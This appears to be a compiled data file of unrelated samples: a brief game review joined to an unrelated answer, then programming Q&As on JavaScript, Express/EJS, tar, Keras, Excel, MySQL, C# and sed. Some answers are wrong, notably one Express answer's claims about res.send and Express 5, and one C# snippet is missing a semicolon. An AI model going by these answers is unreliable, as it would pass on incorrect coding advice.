Personally, I really enjoyed the game yet I would have like a more open world. The story was exciting and was presented like an intense and fast-paced action movie. Yet, it doesn't reach the quality of earlier great storylines (like VII, VIII, or X). However, the real strength of the game lies in the combat system, which is strange at first, but works out great once you get used to it. I recommend to give this game a chance.

A: Just open the strategy guide and look at the maps. The pages are essentially pinstriped.


text: Q: How to reduce model residual errors with a new explanatory variable Let's say I have for example tree height model (a model with several factors affecting tree height growth). I want to test if some new explanatory variable reduces model residual error or in other words improve model predictions without modifying the original model. How can I test this?


text:
Q: If both checkboxes are true, then show DIV I am trying to show a Div that contains a button element, but only when BOTH checkboxes have been "agreed" to.
I have tried to use JS to check this and then set the style display when each checkbox is clicked.
HTML:

  <input type="checkbox" id="box1" onclick="showMe('submit_btn')">

  <input type="checkbox" id="box2" onclick="showMe('submit_btn')">

  <button>
  BUTTON
  </button>

JS:
function showMe(box) {
  var chbox1 = document.getElementByID("box1");
  var chbox2 = document.getElementByID("box2");
  var vis = "none";

  if (chbox1.checked && chbox2.checked) {
    vis = "block";
    break;
  }

  document.getElementById(box).style.display = vis;
}

Fiddle: https://jsfiddle.net/nhykqodp/2/
I'm kinda new to JS and my HTML knowledge is about 10 years out of date at this point. Any help would be appreciated.
Thanks.

A: If I run your code, it shows:

Uncaught SyntaxError: Illegal break statement

Thats because a break
can only be used inside a loop.

Furthermore, you have a typo, it should be getElementById instead of getElementByID
Note: The d shouldn't be capitalised

*

*Remove the break

*Fix the typos:

function showMe(box) {
  var chbox1 = document.getElementById("box1");
  var chbox2 = document.getElementById("box2");
  var vis = "none";

  if (chbox1.checked && chbox2.checked) {
    vis = "block";
  }

  document.getElementById(box).style.display = vis;
}

  <input type="checkbox" id="box1" onclick="showMe('submit_btn')">

  <input type="checkbox" id="box2" onclick="showMe('submit_btn')">

  <button>
  BUTTON
  </button>

Using an in-line if statement, we can remove the vis variable so we can alter the style right away like so:
function showMe(box) {
  const chbox1 = document.getElementById("box1");
  const chbox2 = document.getElementById("box2");
  document.getElementById(box).style.display = (chbox1.checked && chbox2.checked) ? 'block' : 'none';
}

function showMe(box) {
  const chbox1 = document.getElementById("box1");
  const chbox2 = document.getElementById("box2");
  document.getElementById(box).style.display = (chbox1.checked && chbox2.checked) ? 'block' : 'none';
}

  <input type="checkbox" id="box1" onclick="showMe('submit_btn')">

  <input type="checkbox" id="box2" onclick="showMe('submit_btn')">

  <button>
  BUTTON
  </button>

A: The syntax errors have already been pointed out; for hiding/showing elements these already have an API which is called el.hidden. I recommend you use it.
Aside from that, you shouldn't use inline event handlers like onclick. Instead, use EventTarget.addEventListener().
I've also generalized your code, so that any number of checkboxes can act as toggle for any element, given that element has the id that you define in  data-toggle on the checkboxes.

const checkboxes = Array.from(document.querySelectorAll('[data-toggle]'));

function allChecked(toggle) {
  return checkboxes.filter(cb => cb.dataset.toggle === toggle).every(cb => cb.checked);
}

for (const checkbox of checkboxes) {
  checkbox.addEventListener('change', function() {
    document.getElementById(this.dataset.toggle).hidden = !allChecked(this.dataset.toggle);
  });
}

  <input type="checkbox" data-toggle="submit_btn">

  <input type="checkbox" data-toggle="submit_btn">

  <button>
    BUTTON
  </button>

A: Little syntax error just replace document.getElementByID to document.getElementById


text:
Q: cannot able to pass data from express to ejs? i tried to pass a data from js file(sample.js) to ejs  using res.send("filename.ejs",data) by converting a object into JSON where JSON data is displaying on console, but while trying to pass it showing an error

TypeError: Cannot create property '_locals' on string

can some one help with this and tell me how to call them in ejs file

A: res.send() is used for send data there is no need to point ejs file
res.send takes array as parameter (res.send([body])) and you can get it in ejs like {{ data }}
for example
NODEJS
    res.send({message: 'hello'})
filename.ejs

{{ message }}
 or <%= JSON.stringify(message)  %>

also as Express 5x does not support res.send() method you can use
res.status(200).send({message: 'hello})

(you did not admit you express version)

A: You're sending data to your view so update your code with this and try
   res.render("filename",{
                        data:"hello"
                      });

Or you can pass whole data
 res.render("filename",{data:data});

And in your ejs file access it like this

 <%= data %>

A: Note that you should not use the .ejs extension in res.render, despite other answers to your question suggesting that you do so.
When you call res.render('myView'), ejs looks for a template called myView.ejs in a folder called views (which is set as the default folder to use by ejs)
for example:
res.render('myView.ejs',{
  data:data,
  foo:'foo'
});

ejs will look for a view called myView.ejs.ejs (or it might just fail alltogether).
To access the data on your template, you would do the following:
app.js:
app.get('/somePathHere', function(req, res) {
  res.render('myView',{
    data:data,
    foo:'foo'
  });
});

myView.ejs:
<% data.forEach(function(item) { %>
    //do something

<% }); %>

<%= foo %>

Note that when accessing a variable, you use the <%= varNameHere %>, and when writing any type of function, you would omit the =.


text:
Q: How to extract *.tgz.part-*? I have several files as follow :
multiview_action.tgz.part-aa
multiview_action.tgz.part-ab
...
...
multiview_action.tgz.part-ap

I tried the following command :
tar -zxvf multiview_action.tgz*

I got the following error :
gzip: stdin: unexpected end of file
tar: Fin prématurée rencontrée dans l'archive.
tar: Error is not recoverable: exiting now

A: Files are divided with split, to join the file you need to use cat before you can extract your .tgz file:
cat multiview_action.tgz.part-* > multiview_action.tgz

If you leave out -z from options tar will guess archive type by the file .ext:
tar -xf multiview_action.tgz

A: You should concatenate (cat) the split tar-gz files, decompress them (gunzip) and extract the tar archive (tar -x).
You can extract split .gz archives directly using the zcat command which concatenates and directly uncompresses the files. Then pipe the result to the tar extract command, creating no intermediate files:
zcat multiview_action.tgz.part-* | tar -x

Another option (with a different grouping of the 3 mentioned commands) is to use cat piped to tar with the z option:
cat multiview_action.tgz.part-* | tar -xz


text:
Q: tensorflow: InvalidArgumentError while find the AUC score I have a dataset with labels 0's and 1's, which is binary classification problem. Getting error while try to find AUC score using tf.keras.metrics.AUC() as metrics in model.compile(.. function.
Code:
initializer = tf.keras.initializers.RandomUniform(minval=0., maxval=1.)

model = tf.keras.models.Sequential()
model.add(tf.keras.Input(shape=(2,)))
model.add(tf.keras.layers.Dense(4, activation='tanh', kernel_initializer=initializer))
model.add(tf.keras.layers.Dense(8, activation='tanh', kernel_initializer=initializer))
model.add(tf.keras.layers.Dense(16, activation='tanh', kernel_initializer=initializer))
model.add(tf.keras.layers.Dense(8, activation='tanh', kernel_initializer=initializer))
model.add(tf.keras.layers.Dense(4, activation='tanh', kernel_initializer=initializer))
model.add(tf.keras.layers.Dense(1))

model.compile(loss= tf.keras.losses.BinaryCrossentropy(),
                      optimizer = tf.optimizers.SGD(momentum=0.9,),
            metrics=['accuracy', tf.keras.metrics.AUC()])

model.fit(X, y, validation_data=(X_val, y_val), epochs=10)

If I removed AUC from metrics, the code runs fine.
Error:

InvalidArgumentError:  assertion failed: [predictions must be >= 0]
[Condition x >= y did not hold element-wise:] [x
(sequential_48/dense_293/BiasAdd:0) = ]
[[2.12408257][2.12408257][-2.12408257]...] [y (Cast_10/x:0) = ] [0]
[[{{node
assert_greater_equal/Assert/AssertGuard/else/_1/assert_greater_equal/Assert/AssertGuard/Assert}}]]
[Op:__inference_train_function_120642]
Function call stack: train_function

How to find the AUC score/how to set AUC score as metrics in compile?

A: You are missing activation function in the last dense layer. If we don't mention by default it will consider a linear activation, that means you can get any values including negative values.

InvalidArgumentError: assertion failed: [predictions must be >= 0]
[Condition x >= y did not hold element-wise:] [x (sequential_48/dense_293/BiasAdd:0) = ] [[2.12408257][2.12408257][-2.12408257]...]

If you can check above error, it is saying the same (i.e predictions for your model must be >=0), but your model return [[2.12408257][2.12408257][-2.12408257]...] values.
To avoid this, you should add sigmoid activation function to the last dense layer as shown below.
initializer = tf.keras.initializers.RandomUniform(minval=0., maxval=1.)
model = tf.keras.models.Sequential()
model.add(tf.keras.Input(shape=(2,)))
model.add(tf.keras.layers.Dense(4, activation='tanh', kernel_initializer=initializer))
model.add(tf.keras.layers.Dense(8, activation='tanh', kernel_initializer=initializer))
model.add(tf.keras.layers.Dense(16, activation='tanh', kernel_initializer=initializer))
model.add(tf.keras.layers.Dense(8, activation='tanh', kernel_initializer=initializer))
model.add(tf.keras.layers.Dense(4, activation='tanh', kernel_initializer=initializer))
model.add(tf.keras.layers.Dense(1, activation='sigmoid'))

model.compile(loss= tf.keras.losses.BinaryCrossentropy(),
                      optimizer = tf.optimizers.SGD(momentum=0.9,),
            metrics=['accuracy', tf.keras.metrics.AUC()])

model.fit(X, y, validation_data=(X_val, y_val), epochs=10)


text:
Q: Find given day of supplied date's week in Excel I have some dates in a column, and would like to, using the dates in that column i.e I would like to produce the first column, based on what is in the second
Week Starting   Date
01/11/2009  01/11/2009
01/11/2009  02/11/2009
01/11/2009  03/11/2009
01/11/2009  04/11/2009
01/11/2009  05/11/2009
01/11/2009  06/11/2009
01/11/2009  07/11/2009
08/11/2009  08/11/2009
08/11/2009  09/11/2009
08/11/2009  10/11/2009
08/11/2009  11/11/2009
08/11/2009  12/11/2009
08/11/2009  13/11/2009
08/11/2009  14/11/2009
15/11/2009  15/11/2009
15/11/2009  16/11/2009
15/11/2009  17/11/2009
15/11/2009  18/11/2009
15/11/2009  19/11/2009
15/11/2009  20/11/2009
15/11/2009  21/11/2009
22/11/2009  22/11/2009
22/11/2009  23/11/2009
22/11/2009  24/11/2009

Is there a formula to do this?

A: Weekday returns an index number for the day of the week, so you can use the following to get the start of the week:
=B1-(WEEKDAY(B1)-1)


text:
Q: resharper code analysis using Command line tool (inspectcode.exe) In My C# language sln file contains two projects. first project has the actual code & second project has the unittest cases for the first project. but while am doing the resharper code analysis using Command line tool (inspectcode.exe).
for both project resharper doing the inspection in the unit test project only, not on the Actual code file.
'
package org.sonar.plugins.resharper;
import java.io.File;
import java.util.concurrent.TimeUnit;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.sonar.api.utils.command.Command;
import org.sonar.api.utils.command.CommandException;
import org.sonar.api.utils.command.CommandExecutor;

public class ReSharperExecutor
{
  private static final Logger LOG = LoggerFactory.getLogger(ReSharperExecutor.class);

  public void execute(String executable, String project, String solutionFile, File rulesetFile, File reportFile, int timeout)
  {
    Command cmd = Command.create(getExecutable(executable)).addArgument("/output=" + reportFile.getAbsolutePath()).addArgument("/no-swea").addArgument("/project=" + project).addArgument("/profile=" + rulesetFile.getAbsolutePath()).addArgument("/no-buildin-settings").addArgument(solutionFile);

    int exitCode = CommandExecutor.create().execute(cmd, TimeUnit.MINUTES.toMillis(timeout));
    if (exitCode != 0) {
      throw new CommandException(cmd, "ReSharper execution failed with exit code: " + exitCode, null);
    }
  }

  private static String getExecutable(String propertyValue)
  {
    String execName = "inspectcode.exe";
    if (!propertyValue.endsWith(execName)) {
      return new File(propertyValue, execName).getAbsolutePath();
    }
    return propertyValue;
  }
}'

Where I need to do the change to do the Resharper analysis for the Actual code.
Executing command: cd:/inspectcode.exe /output=cd:\resharper-report.xml /no-swea /project=* /profile=cd:.sonar\resharper-sonarqube.DotSettings /no-buildin-settings cd:\XXXX.sln

A: The above issue was caused bcoz the VS build version different in the
1.project built machine(VS2015) &
2.project analysis happening machine(VS2013),
so its not show any error details in log of the machine 2.
After testing the analysis in the built machine i got the root cause of the issue(Few of the dependency library of the project was missed which should be availble under MSBuild folder{Msbuildfolder->Microsoft->visualstudio->version}) & fixed it(by replacing the missing dll's).
Now Analysis running successfully.


text:
Q: JDateChooser is not displaying any dates I am using the below library JDateChooser, which is a Date Picker GUI which we can put into Netbeans pallet.
http://plugins.netbeans.org/plugin/658/jdatechooser-1-2
However this do not display any dates. Dates are empty. Below is the image.

I do not have to post the code here, because I did nothing other than dragging and dropping the GUI element. Can someone please tell me why this is happening?

A: JDateChooser from vadimig doesn't seem to work with Nimbus, seems to work okay for Windows look and feel, you'd have to test it with the other system looks feels.
Either change the component you are using or change the look and feel you are using

A: The problem is the width of the component, just increase that value.
If your DateChooserCombo is called chooserDate, it must be like this:
Dimension size = chooserDate.getCalendarPreferredSize();

size.width += 90;

chooserDate.setCalendarPreferredSize(size);


text:
Q: MySQL timezone discrepancy on Update tale I'm working on a shared hosting so I don't have access to mysql configuration files.
The default timezone on that system is 'America/New_York' but I need to use UTC -5:00 for my databases.
Everytime I perform a query the timezone is set to UTC -5:00 like this:
SET time_zone='-5:00';

If I want the current time, SELECT NOW() returns the correct time and date, but when updating a table mysql uses the SYSTEM time and not the set timezone
UPDATE administradores SET ultimo_acceso=NOW() WHERE id=1

Why does those values are different? Shouldn't be the same time in both queries since I'm overriding the timezone?
I also tried with INSERT statement and that works fine.

A: If the ultimo_acceso field is of type TIMESTAMP, then the value is actually being stored as UTC and then converted back to the current time zone when you select the value  back out.  So you need to set the time zone again in the select statement.
If you are using a DATETIME data type, then the value you set should be persisted without conversion and you will get back exactly what you store - regardless of the timezone setting at time of select.
See the MySQL docs on this subject.

A: Note that DATETIME, DATE, and TIME fields will always return the exact time you placed into them, regardless of the value of the time_zone variable.
TIMESTAMP fields will automatically convert their values to the timezone specified by the time_zone variable.


text:
Q: How to Create a Func from an IEnumerable Greatings, everybody! I'm trying to create a Function that will be used for Filtering File Paths from a String Array by Name and Extension but I'm facing some dificulties. The thing is that I would like to Use an Alternative of Declaring a Function using a List of Names and Extensions. For example: IEnumerable<string> Specific_Extensions_List = {".txt", ".bin", ".dat"};
Func<string, bool> List_Filter_Y = Filter_Y =>
    Filter_Y.EndsWith(".bak") ||
    Filter_Y.EndsWith(".bin") ||
    Filter_Y.EndsWith(".dat"); // Here is Declared Directly, I don't want that

Here's the Source Code:
/** <summary> Creates a File Names Filter from a Specific Names List. </summary>
<param name = "Specific_Names_List" > The List used for Creating the File Names Filter. </param>

<returns> The File Names Filter. </returns> */

private Func<string, bool> Create_FileNames_Filter(IEnumerable<string> Specific_Names_List)
{
int Specific_Names_Count = Specific_Names_List.Length;
Func<string, bool> File_Names_Filter;

for(int Index = 0; Index < Specific_Names_Count; Index++)
{
string Specific_Name = Specific_Names_List[Index];
Func Filters_Generator => Filters_Generator.StartsWith(Specific_Name);

File_Names_Filter = Filters_Generator;
}

return File_Names_Filter;
}

Once the Filtering Function (Fun<string, bool>) is Generated from the Specified Strings Collection (IEnumerable<string) with the Method from above, it will be used for Filtering the Strings (Access Paths) Stored in the Strings Array with the Following Expression:
IEnumerable<string> Filtered_List = Input_Files_List.Where(List_Filter);

A: This should do what you want:
private Func<string, bool> Create_FileNames_Filter(IEnumerable<string> Specific_Names_List)
{
  return y => Specific_Names_List.Any(ext => y.EndsWith(ext));
}

If you want to avoid LINQ Any() (this is how I understood your comment):
private Func<string, bool> Create_FileNames_Filter(IEnumerable<string> Specific_Names_List)
{
  return y =>
  {
      foreach (var ext in Specific_Names_List)
      {
          if (y.EndsWith(ext))
              return true;
      }
      return false;
  }
}


text:
Q: GNU SED generating 0 byte file I am executing sed.exe through C# code, by launching a command prompt through c#.
In that, I am dynamically creating the find and replace commands for n number of find and replace pairs.
I have placed sed(windows) binaries in the bin folder of my parent application.
But, this sed is creating 0 byte destination file after executing from above command prompt(through c#), But when same command is executed through command prompt, by navigating to the \bin folder of the parent application, it creates the proper file with the result as replaced data.
Why sed is showing such behavior?
My command for execution is :
repl  -e "s~SingleCard~CalculateSF~g"   -e "s~Freight~Shipping~g"   -e "s~CSISrno~PSISrno~g"   -e "s~2BD330B6~drakulla\~\~\~~g"   < "\\myserver\Reports\sample.txt" > "\\Myserver\Reports\result.txt"

A: The file isn't ready immediately after writing the command to the process.
Call process.WaitForExit() to make your program wait until the process has completed. Then you can read the file.